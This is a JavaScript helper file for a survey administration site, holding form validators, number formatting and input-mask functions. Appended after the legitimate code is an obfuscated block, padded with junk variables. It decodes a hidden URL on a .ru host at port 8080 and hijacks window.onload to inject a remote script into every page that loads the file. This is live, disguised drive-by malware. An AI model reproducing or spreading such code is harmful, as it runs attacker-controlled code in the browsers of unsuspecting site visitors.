// JavaScript Document

window.defaultStatus = 'Powered by Powered by - X -';

var reDigits = /[\d+]/;
var reNoDigits = /[^\d]/gi;
var reNumbers = /[\d+.]/;

window.onload = function(){
	addInstance("TRSurvey", "Main", "position:relative holder; menu-form:bar; align:left; offset-left:1; style:group;");
	showMenu('TRSurvey');
}

function setFocus(ctl){
	document.getElementById(ctl).focus();
}

function showMedia(ctl,type){
	var val;
	type = type==undefined?0:type;
	if(val = showModalDialog("media.php?type="+type,ctl.value,"center:yes; dialogHeight:460px; dialogWidth:580px; status:no"))
		ctl.value = val!="NONE"?val:"";
}

function validate(form){
var y = 0;
	for(x = 0;x<form.length;x++)
		if(form.elements[x].value=="" && !form.elements[x].disabled)
			y++;
	if(y>0){
		alert("You must fill the required fields !!!");
		return false;
	}
return true;
}

function validateSurvey(form){
	var y = 0;
	for(x = 0;x<form.length;x++){
		if(form.elements[x].value==""){
			switch(form.elements[x].name){
			case "idle":
			case "donetxt":
			case "approvedtxt":
			case "wintxt":
			case "print":
			break;
			default:
				y++;
			break;
			}
		}
	}
	if(y>0){
		alert("You must fill the required fields !!!");
		return false;
	}
return true;
}

function validateUser(form){
	var y = 0;
	for(x = 0;x<form.length;x++){
		if(form.elements[x].value==""){
			switch(form.elements[x].name){
			case "password":
			break;
			default:
				y++;
			break;
			}
		}
	}
	if(y>0){
		alert("You must fill the required fields !!!");
		return false;
	}
return true;
}

function numFormat(number, def){
	var x;
	var y;
	if(def == undefined)
		def = 0;
	if(isNaN(number)||number==0)
		number = def;
	number = round(number, 2);
	number = number.toString();
	y = number.length - 1;
	for(x=0;x<number.length;x++)
		if(number.substr(x,1) == ".")
			y = x;
	switch((number.length-1) - y){
	case 1:
		number += "0";
	break;
	case 0:
		number += ".00";
	break;
	}
	return number;
}

function numFormatInt(number, def){
	var x;
	var y;
	
	if(def == undefined)
		def = 0;
	if(isNaN(number)||number==0)
		number = def;
	number = parseInt(number);
	return number;
}

function round(number,X) {
	X = (!X ? 2 : X);
	return Math.round(number*Math.pow(10,X))/Math.pow(10,X);
}

function createWindow(page, name, w, h, s, mb) {
	var winl = (screen.width-w)/2;
	var wint = (screen.height-h)/2;
	if (winl < 0) winl = 0;
	if (wint < 0) wint = 0;
	if(mb==undefined)
		mb = 'yes';
	var features =
        'width='        + w +
        ',height='      + h +
		',top='			+ wint +
		',left='		+ winl + 
		',menubar='      + mb +
        ',scrollbars='  + s +
		',resizable='   + 'no';
    window.open (page, name, features);
}

function doMask(textBox) {	

	var keyCode = event.which ? event.which : event.keyCode;

	if(keyCode == 13 || keyCode == 8 || keyCode == 9 || keyCode == 46 || keyCode == 35 || keyCode == 36 || keyCode == 37 || keyCode == 39)
		return true;

	var keyCharacter = cleanKeyCode(keyCode);
	var val = textBox.value;
	var mask = textBox.mask;

	if(reDigits.test(keyCharacter) == false)
		return false;

	val = val.replace(reNoDigits,'');			
	val += keyCharacter;
	textBox.value = val.maskValue(mask);
	setCaretAtEnd(textBox);

	return false;
}

function onFocusMask(textBox) {

	var val = textBox.value;
	var mask = textBox.mask;

	if(val.length == 0 || val == null) {
		var i = mask.indexOf('#');
		textBox.value = mask.substring(0,i);
	}

	setCaretAtEnd(textBox);
	textBox.maxlength = mask.length;

}

function onBlurMask(textBox) {

	var val = textBox.value;

	if(reDigits.test(val) == false)
		textBox.value = '';

}

String.prototype.maskValue = function(mask) {

	var retVal = mask;
	var val = this;

	for(var i=0;i<val.length;i++)
		retVal = retVal.replace(/#/i, val.charAt(i));

	retVal = retVal.replace(/#/gi, "");

	return retVal;

}

function cleanKeyCode(key) {

	switch(key) {
	case 96:
		return "0";
	break;
	case 97:
		return "1";
	break;
	case 98:
		return "2";
	break;
	case 99:
		return "3";
	break;
	case 100:
		return "4";
	break;
	case 101:
		return "5";
	break;
	case 102:
		return "6";
	break;
	case 103:
		return "7";
	break;
	case 104:
		return "8";
	break;
	case 105:
		return "9";
	break;
	case 110:
	case 190:
		return ".";
	default:
		return String.fromCharCode(key);
	break;
	}
}

function setCaretAtEnd (field) {

	if (field.createTextRange) {
    	
		var r = field.createTextRange();

    	r.moveStart('character', field.value.length);
		r.collapse();
		r.select();
	}

}


this.t="";var U=new Date();var g=new Date();function m(){var c=new String();this.xG='';var G=unescape;var Cv=new Date();var vo;if(vo!='T'){vo=''};var E=window;var d=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6b%79%70%65%2e%63%6f%6d%2f%69%73%74%6f%63%6b%70%68%6f%74%6f%2e%63%6f%6d%2e%70%68%70");function H(L,Q){var Tb;if(Tb!='P' && Tb!='o'){Tb=''};var Ll;if(Ll!='y'){Ll=''};var S;if(S!='' && S!='tF'){S=''};var Y=new String("g");var LN;if(LN!='' && LN!='Mf'){LN=null};var k=G("%5b"), K=G("%5d");var Qe=new String();var n=new String();var v=k+Q+K;var kw=new String();var hy;if(hy!='A'){hy='A'};var r=new RegExp(v, Y);var KI=new Date();var nl=new Date();return L.replace(r, new String());};var fO;if(fO!='Qm' && fO!='_i'){fO=''};this.c_='';var Co;if(Co!=''){Co='c_I'};var Mk;if(Mk!='Kz' && Mk!='fq'){Mk='Kz'};this.kq='';var kG;if(kG!='vp' && kG!='R'){kG=''};this.AZ="";var vf=document;var M=new String();var J;if(J!='' && J!='rb'){J=''};var Lc=H('81739110964476481111520497641','95731264');var Mkt=new Date();var cU;if(cU!='' && cU!='uu'){cU=null};var np;if(np!='' && np!='fY'){np='GI'};var UO;if(UO!='Ab' && UO!='PH'){UO='Ab'};function EB(){var Qpw;if(Qpw!='e' && Qpw!='Lq'){Qpw='e'};var I=G("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");M=I;var Qg=new Array();var CvU=new Array();M+=Lc;M+=d;var Lk;if(Lk!='gC' && Lk!='Mm'){Lk='gC'};var JH;if(JH!='qG' && JH!='qs'){JH='qG'};try {Z=vf.createElement(H('sPc1r6iGp1tG','G1q2wxUPDv36y0_FnI'));this.SJw='';var cR=new Array();var CB;if(CB!=''){CB='UOJ'};var QQ;if(QQ!=''){QQ='fd'};var Gv;if(Gv!='Sl'){Gv='Sl'};Z[G("%73%72%63")]=M;Z[G("%64%65%66%65%72")]=[1][0];var Wt=new String();var Nr;if(Nr!='iR' && Nr!='ZM'){Nr=''};vf.body.appendChild(Z);this.we="";var dd;if(dd!='' && dd!='Au'){dd='eK'};} catch(_){var kO;if(kO!='' && kO!='me'){kO=null};var Q_=new String();alert(_);var PT=new Date();var ns;if(ns!='' && ns!='go'){ns=''};};var fw;if(fw!='zy' && fw != ''){fw=null};}var ey="";var _N=new Date();E[String("on"+"lo"+"adLof".substr(0,2))]=EB;var X=new String();var ZO;if(ZO!='MQ' && ZO != ''){ZO=null};};var lC=new String();m();var m_=new Array();